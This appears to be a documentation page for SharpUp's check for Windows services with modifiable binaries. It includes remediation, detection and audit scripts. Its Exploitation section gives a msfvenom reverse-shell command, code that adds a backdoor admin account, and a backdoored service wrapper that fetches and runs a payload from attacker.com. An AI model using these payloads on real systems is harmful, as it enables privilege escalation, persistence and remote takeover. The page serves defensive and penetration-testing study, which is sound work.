Skip to main content

Overview

The Modifiable Service Binaries check identifies Windows services where the service executable or DLL has weak file permissions. If a non-privileged user can modify a service binary, they can replace it with malicious code that will execute with the service’s privileges (often SYSTEM).

How It Works

SharpUp enumerates all services via WMI and checks if their binary paths are writable:
  1. Query all services using Win32_Service
  2. Extract the executable path from PathName
  3. Check if current user can modify the binary file
  4. Report vulnerable services with their state and startup mode

Technical Details

// Simplified logic
foreach (service in Get-Services()) {
    string binaryPath = ExtractExePath(service.PathName);
    if (CanModifyFile(binaryPath)) {
        Report(service.Name, service.State, service.StartMode, binaryPath);
    }
}
The check uses regex to extract the executable path from service PathName, which may include arguments.

Example Output

=== Modifiable Service Binaries ===
    Service 'VulnSvc' (State: Running, StartMode: Automatic) : C:\Program Files\VulnApp\service.exe
    Service 'BackupService' (State: Stopped, StartMode: Manual) : C:\Services\backup.exe
Interpretation:
  • VulnSvc is currently running and starts automatically
  • You can modify C:\Program Files\VulnApp\service.exe
  • Restarting the service will execute your modified binary with service privileges

Exploitation

Method 1: Direct Binary Replacement

# Backup original binary
$servicePath = "C:\Program Files\VulnApp\service.exe"
Copy-Item $servicePath "$servicePath.bak"

# Create malicious binary (using msfvenom)
# msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f exe -o malicious.exe

# Replace service binary
Copy-Item C:\temp\malicious.exe $servicePath -Force

# Restart service
Restart-Service -Name VulnSvc

# Or if service is stopped and set to Automatic, reboot
shutdown /r /t 0

Method 2: Add Local Admin

# Create executable that adds user to administrators
$code = @"
using System;
using System.Diagnostics;

namespace AddAdmin {
    class Program {
        static void Main() {
            Process.Start("cmd.exe", "/c net user hacker P@ssw0rd123! /add");
            Process.Start("cmd.exe", "/c net localgroup administrators hacker /add");
        }
    }
}
"@

Add-Type -TypeDefinition $code -OutputAssembly "C:\temp\addadmin.exe"

# Replace service binary
Copy-Item "C:\temp\addadmin.exe" "C:\Program Files\VulnApp\service.exe" -Force

# Restart service
net stop VulnSvc
net start VulnSvc

Method 3: Service Binary as Backdoor

# Create service binary that runs payload then original service
$wrapper = @"
#include <windows.h>
#include <stdio.h>

int main() {
    // Run malicious payload
    system("powershell -nop -w hidden -c IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/payload')");

    // Run original service
    STARTUPINFO si = {sizeof(si)};
    PROCESS_INFORMATION pi;
    CreateProcess("C:\\Program Files\\VulnApp\\service.exe.bak", NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);

    return 0;
}
"@

# Compile wrapper, replace service binary
# Service appears to work normally but also runs your payload

Remediation

1

Identify Vulnerable Binaries

# Check permissions on service binaries
Get-WmiObject Win32_Service | ForEach-Object {
    if ($_.PathName -match '(.+\.exe)') {
        $exePath = $matches[1].Trim('"')
        if (Test-Path $exePath) {
            $acl = Get-Acl $exePath
            $vulnerableAcls = $acl.Access | Where-Object {
                $_.IdentityReference -match "Users|Everyone|Authenticated Users" -and
                $_.FileSystemRights -match "Write|Modify|FullControl"
            }

            if ($vulnerableAcls) {
                Write-Host "[!] Vulnerable: $($_.Name)" -ForegroundColor Red
                Write-Host "    Binary: $exePath"
                $vulnerableAcls | ForEach-Object {
                    Write-Host "    $($_.IdentityReference) : $($_.FileSystemRights)"
                }
            }
        }
    }
}
2

Fix Binary Permissions

# Set secure permissions on service binary
$serviceBinary = "C:\Program Files\VulnApp\service.exe"

# Reset permissions
icacls $serviceBinary /reset
icacls $serviceBinary /inheritance:r

# Grant appropriate access
icacls $serviceBinary /grant:r "SYSTEM:F"
icacls $serviceBinary /grant:r "Administrators:F"
icacls $serviceBinary /grant:r "Users:RX"

Write-Host "[+] Secured: $serviceBinary"
3

Fix Parent Directory Permissions

# Also secure the parent directory to prevent replacement
$serviceDir = Split-Path $serviceBinary

icacls $serviceDir /inheritance:r
icacls $serviceDir /grant:r "SYSTEM:(OI)(CI)F"
icacls $serviceDir /grant:r "Administrators:(OI)(CI)F"
icacls $serviceDir /grant:r "Users:(OI)(CI)RX"
4

Bulk Remediation Script

# Fix all vulnerable service binaries
Get-WmiObject Win32_Service | ForEach-Object {
    if ($_.PathName -match '(.+\.exe)') {
        $exePath = $matches[1].Trim('"')

        if (Test-Path $exePath) {
            Write-Host "[*] Processing: $($_.Name)"

            # Set permissions on binary
            icacls $exePath /reset | Out-Null
            icacls $exePath /inheritance:r | Out-Null
            icacls $exePath /grant:r "SYSTEM:F" | Out-Null
            icacls $exePath /grant:r "Administrators:F" | Out-Null
            icacls $exePath /grant:r "Users:RX" | Out-Null

            Write-Host "[+] Secured: $exePath"
        }
    }
}
5

Verify Fix

# Re-run check
SharpUp.exe ModifiableServiceBinaries
For service binaries:
  • SYSTEM: Full Control
  • Administrators: Full Control
  • Users: Read & Execute only
  • TrustedInstaller: Full Control (for system services)
Inheritance: Disabled (permissions explicitly set)

Detection

Defensive Monitoring

# Monitor file modifications to service binaries
$services = Get-WmiObject Win32_Service
foreach ($service in $services) {
    if ($service.PathName -match '(.+\.exe)') {
        $exePath = $matches[1].Trim('"')

        if (Test-Path $exePath) {
            # Enable auditing
            $acl = Get-Acl $exePath
            $auditRule = New-Object System.Security.AccessControl.FileSystemAuditRule(
                "Everyone",
                "WriteData,AppendData,WriteAttributes",
                "None",
                "None",
                "Success,Failure"
            )
            $acl.AddAuditRule($auditRule)
            Set-Acl $exePath $acl
        }
    }
}

# Monitor Event ID 4663 for file modifications
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4663} |
Where-Object {$_.Message -match '\.exe' -and $_.Message -match 'WriteData|AppendData'}

Detection Strategies

  • File Integrity Monitoring
  • Permission Monitoring
  • Service Monitoring
  • Process Monitoring
  • Baseline all service binaries with cryptographic hashes
  • Alert on any modifications to service executables
  • Monitor file creation in service directories
  • Track file replacement activities

Real-World Scenarios

Context: Legacy application installed to C:\Apps with weak permissions. Service runs as LocalSystem.Attack Path:
  1. Standard user identifies modifiable service binary
  2. Replaces binary with malicious version
  3. Waits for service restart or triggers it
  4. Malicious code runs as SYSTEM
  5. Complete system compromise
Prevention:
  • Install applications to Program Files
  • Use proper installer that sets correct permissions
  • Regular permission audits
Context: Third-party monitoring agent has automatic updates that leave temporary files with weak permissions.Impact:
  • Attacker replaces agent binary during update
  • Agent runs on schedule with SYSTEM privileges
  • Lateral movement across all systems with agent installed
Solution:
  • Work with vendor to fix installer
  • Monitor agent directory for unauthorized changes
  • Use application whitelisting
Context: IT team created custom service for automation, installed to C:\Scripts with Users having modify rights.Risk:
  • Any user can replace service binary
  • Service runs hourly as SYSTEM
  • Easy privilege escalation vector
Fix:
  • Move to Program Files\CustomService
  • Set proper permissions (Users read-only)
  • Review service account permissions

Prevention Best Practices

Install to Program Files

Always install services and applications to protected system directories.

Use Proper Installers

Use Windows Installer (MSI) which sets correct permissions by default.

Principle of Least Privilege

Run services with minimum required privileges, not SYSTEM when possible.

Regular Audits

Periodically audit service binary permissions across all systems.

Automated Audit Script

# Regular audit script - run via scheduled task
$report = @()

Get-WmiObject Win32_Service | ForEach-Object {
    if ($_.PathName -match '(.+\.exe)') {
        $exePath = $matches[1].Trim('"')

        if (Test-Path $exePath) {
            $acl = Get-Acl $exePath
            $vulnerable = $acl.Access | Where-Object {
                $_.IdentityReference -match "Users|Everyone|Authenticated Users" -and
                $_.FileSystemRights -match "Write|Modify|FullControl" -and
                $_.AccessControlType -eq "Allow"
            }

            if ($vulnerable) {
                $report += [PSCustomObject]@{
                    ServiceName = $_.Name
                    Binary = $exePath
                    State = $_.State
                    StartMode = $_.StartMode
                    VulnerableACE = ($vulnerable | Select-Object -ExpandProperty IdentityReference) -join ", "
                }
            }
        }
    }
}

if ($report) {
    $report | Export-Csv "C:\Audits\VulnerableServiceBinaries_$(Get-Date -Format yyyyMMdd).csv" -NoTypeInformation
    Send-MailMessage -To "security@company.com" -Subject "Vulnerable Service Binaries Found" -Body "See attached report" -Attachments "C:\Audits\VulnerableServiceBinaries_$(Get-Date -Format yyyyMMdd).csv"
}

References